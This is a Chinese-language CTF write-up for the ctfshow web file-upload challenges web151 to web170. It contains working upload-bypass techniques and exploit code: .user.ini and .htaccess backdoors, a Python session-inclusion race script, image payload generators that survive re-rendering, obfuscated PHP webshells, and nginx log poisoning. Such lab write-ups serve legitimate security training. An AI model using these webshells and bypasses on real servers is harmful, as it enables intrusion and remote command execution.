【ctfshow】web篇-文件上传 wp

前言

记录web的题目wp,慢慢变强,铸剑。

文件上传

web151

  • 直接抓包改后缀名

image-20210721183539568

web152

  • 和上题一样

web153

  • 对php后缀基本都限制了,我们构造.user.ini用户后门
  • php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
1
2
auto_prepend_file=filename      //包含在文件头
auto_append_file=filename //包含在文件尾
  • auto_prepend_file=1.png 就相当于当前目录中所有的php文件都调用了require(‘1.png’),只要进入任意一个php文件就可以使用1.png中我们构造的一句话木马来直接getshell和命令执行。
  • 首先上传.user.ini文件

image-20210723154700946

  • 再直接上传01.png

image-20210723154751780

image-20210723155013717

  • 直接拿flag

image-20210723155132721

web154

  • 和上题一样传了个.user.ini文件进去,结果一句话木马写不进去,改用短标签代码<?=就相当于echo接着双反引号执行命令要记得闭合

image-20210723160015412

image-20210723160118025

web155

  • 和上题一样

image-20210723160315690

web156

  • 和上题一样

web157

  • 和上题一样就是分号过滤了,分号改成?>

image-20210723161141006

image-20210723161148481

web158

  • 和上题一样

web159

  • 和上题一样

web160

  • 过滤了反引号,那就文件包含,因为php被过滤了所以得用.来绕过
1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?>

image-20210723162541778

web161

  • 连普通的图片的上传上去,查了下
  • getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
  • 所以在上题的基础上都加个GIF89a图片头就可以了

image-20210723163145783

web162

  • session文件包含原理,和web82相同,还是先上传.user.ini,过gif图片头加一个GIF89A
  • 参考 bityu22xdota_st
  • .user.ini
1
2
GIF89A
auto_prepend_file=/tmp/sess_test
  • exp162.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/16
# # blog: gylq.gitee.io
import io
import requests
import threading


url = 'http://3d100d08-e9cb-4652-8900-20f40eb2f857.challenge.ctf.show:8080/'
sessionid = "gylq"
payload = "<?php file_put_contents('shell.php','<?php eval($_REQUEST[1]);?>');?>"


def read(session):
while event.isSet():
url_include=url+'upload/index.php'
res = requests.post(url_include)
if sessionid in res.text:
print(session.post(url+"upload/"+"shell.php?1=system('cat ../flag.php');").text)
event.clear()
else:
print('[*]retry')


def write(session):
while True:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload+sessionid
}
cookies = {
'PHPSESSID': sessionid
}
files = {
'file': ('gylq.txt',io.BytesIO(b'success'))
}
res = session.post(url=url,data=data,cookies=cookies,files=files)


if __name__ == '__main__':

event=threading.Event()
event.set()
with requests.session() as session:
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=write,args=(session,)).start()
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=read, args=(session,)).start()
  • 运行结果

image-20210724104738490

web163

  • 和上题一模一样

web164

  • 题目说改头换面,猜测可能是二次渲染,大家可以参考国光师傅
  • 直接用外国大佬脚本生成一个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');

image-20210724105501375

  • 打开看看是否成功写入
1
<?=$_GET[0]($_POST[1]);?>

image-20210724105536362

  • 直接上传,抓包,改post传参然后getflag

image-20210724105922637

web165

  • 这次变成jpg二次渲染,网上找大佬代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
  • 上传一个jpg图片,因为有些图片的成功率不太高,就直接用可以成功的图片,找了个国光老师的图片,原图

jpg渲染

  • 先上传这个图片,让这个图片被渲染,然后下载下来,格式改jgp

image-20210724112625357

image-20210724112815685

  • 上传,抓包记得我们写的一句话是
1
<?=eval($_POST[1]);?>

image-20210724112904880

image-20210724113008986

image-20210724113107225

web166

  • 查看源码发现只能穿zip

image-20210724140634097

  • 抓包,直接给zip上传一句话木马;
  • 注意:Content-Type为application/x-zip-compressed

image-20210724142043177

  • 抓刚刚传进去的文件,根据zip文件上传的文件包含的特性直接命令执行

image-20210724142204934

web167

  • 根据提示说httpd,想到是.htaccess,应该是要利用.htaccess进行绕过
  • htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
  • 方法一
1
AddType application/x-httpd-php .jpg //将.jpg后缀解析成php执行
  • 方法二
1
2
3
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
  • 两个方法一个意思两种写法,这里用方法一,上传.htaccess

image-20210724143059388

  • 在上传一个1.jpg的一句话木马

image-20210724143222669

  • 直接打开1.jpg的图片拿flag

image-20210724143341786

web168

  • 提示说基础免杀,这里提供几个基础的免杀脚本
  • 前三个免杀 密码 0 最后一个自己构造
1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[0]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[0]);
?>
1
2
3
4
<?php
$a=strrev('metsys'); //反转
$a($_REQUEST[0]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
  • 抓包上传

image-20210724145000996

image-20210724145218511

web169

  • 右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但发现内容中过滤了<>php,试了下可以传.user.ini,我们尝试一下日志包含,User-Agent加上一句话木马
  • .user.ini
1
auto_prepend_file=/var/log/nginx/access.log
  • 1.php

image-20210724145745539

  • 访问1.php发现成功包含

image-20210724145854727

  • 随便访问一个页面写一个User-Agent

    image-20210724150029046

  • 测试phpinfo();

image-20210724150124088

  • 直接连webshell找flag或者直接命令执行

image-20210724150419763

web170

  • 和上题一样

本文标题:【ctfshow】web篇-文件上传 wp

文章作者:孤桜懶契

发布时间:2021年08月09日 - 07:18:55

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/97.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------